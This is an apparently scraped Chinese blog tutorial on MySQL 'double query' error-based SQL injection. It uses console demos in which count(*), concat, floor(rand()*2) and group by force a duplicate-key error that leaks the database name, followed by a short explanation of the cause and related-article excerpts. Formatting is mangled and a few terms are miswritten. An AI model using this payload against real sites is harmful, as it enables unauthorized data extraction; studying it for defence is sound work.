雙查詢注入

2022-08-19 22:39:16 字數 3396 閱讀 6678

雙查詢注入:它也是報錯注入的一種;

詳情請參考:

mysql>

select (select

database

());+--

-------------------+

| (select

database()) |+--

-------------------+

| security |+--

-------------------+

1 row in

set (0.00 sec)

mysql>

select concat((select

database

()));+--

---------------------------+

| concat((select

database())) |+--

---------------------------+

| security |+--

---------------------------+

1 row in

set (0.00 sec)

mysql>

select concat('

a','

b');

+-----------------+

| concat('a','b') |

+-----------------+

| ab |

+-----------------+

mysql>

select

rand

();+

--------------------+

|rand() |+--

------------------+

|0.6080478007048814|+

--------------------+

注:rand函式是乙個隨機函式,所以每次出現的值不一樣;會出現0-1之間的值;

mysql>

select

floor(rand()*2);

+-----------------+

|floor(rand()*

2) |+--

---------------+|1

|+-----------------+

注:floor函式是把小數進行取整;

mysql>

select concat((select

database()),floor(rand()*

2)) as test from

informati

on_schema.tables

group

bytest;+--

---------+

| test |+--

---------+

| security0 |

| security1 |

接下來就看看一些爆破測試吧:

mysql>

select

count(*),concat((select

database()),floor(rand()*

2)) as test from

information_schema.tables

group

bytest;+--

--------+-----------+

|count(*) | test |+--

--------+-----------+|33

| security0 ||49

| security1 |+--

--------+-----------+

2 rows in

set (0.00 sec)

mysql>

select

count(*),concat((select

database()),floor(rand()*

2)) as test from

information_schema.tables

group

bytest;

error

1062 (23000): duplicate entry '

security0

'for

key'

group_key

'

我們get到資料了

最後的報錯是最重要的地方!重複的鍵值;

那麼為什麼鍵值會重複呢,就是因為concat函式執行了兩次,因為concat是連線兩個隨機字串,當第二次執行的時候,有可能會出現與第一次鍵值重複的情況!那麼這種情況下,就會報錯!

也就是:

使用聚合函式,

group

by子句,並利用隨機函式產生錯誤執行時,由於涉及的隨機函式和聚合函式計算;

當在乙個聚合函式,比如count後面如果使用分組語句就會把查詢的一部分以錯誤形式顯示出來;因為concat函式執行兩次,比如select

database(),這樣就執行了兩次select database

,與後面的隨機函式鏈結在一起,可能會隨機重複,就會報錯;

當然大家不用問我mysql為啥會這樣!我也不懂

關於原理,經過我和小夥伴不懈努力終於搞定了

通過floor報錯的方法來爆資料的本質是group by語句的報錯。

group by語句報錯的原因是floor(random(0)*

2)的不確定性,即可能為0也可能為1(group

by key的原理是迴圈讀取資料的每一行,將結果儲存於臨時表中。讀取每一行的key時,如果key存在於臨時表中,則不在臨時表中則更新臨時表中的資料;如果該key不存在於臨時表中,則在臨時表中插入key所在行的資料。group

byfloor(random(0)*

2)出錯的原因是key是個隨機數,檢測臨時表中key是否存在時計算了一下floor(random(0)*

2)可能為0,如果此時臨時表只有key為1的行不存在key為0的行,那麼資料庫要將該條記錄插入臨時表,由於是隨機數,插時又要計算一下隨機值,此時floor(random(0)*

2)結果可能為1,就會導致插入時衝突而報錯。即檢測時和插入時兩次計算了隨機數的值。

結論是:當與臨時表裡面的值進行比較,如果不同,就插入,但是插入的時候又計算了一次,所以如果插入時計算的值與直接比較的值不一樣,則報錯!

具體原理參考:http:

2012/05

/15/mysql-sql-analyze.html)。

sql注入之雙查詢注入

子查詢可以理解在乙個select語句中再插入乙個select 裡面的select語句就是子查詢 例子 select concat select database 執行語句時,先從子查詢進行,先執行select database 再把結果傳入到concat函式 count 彙總資料函式 rand 隨機...

詳細講解雙查詢注入

我說雙查詢很難講清楚,這次就試著講一下。讀了一些原理性的東西。然後盡量通俗的給大家講清楚。在此之前,我們理解一下子查詢,查詢的關鍵字是select,這個大家都知道。子查詢可以簡單的理解在乙個select語句裡還有乙個select。裡面的這個select語句就是子查詢。看乙個簡單的例子 select ...

SQL注入雙括號報錯注入

1.sql注入攻擊指的是通過構建特殊的輸入作為引數傳入web應用程式,而這些輸入大都是sql語法裡的一些組合,通過執行sql語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。2.根據相關技術原理,sql注入可以分為平台層注入和 層注入。前者由不安全的...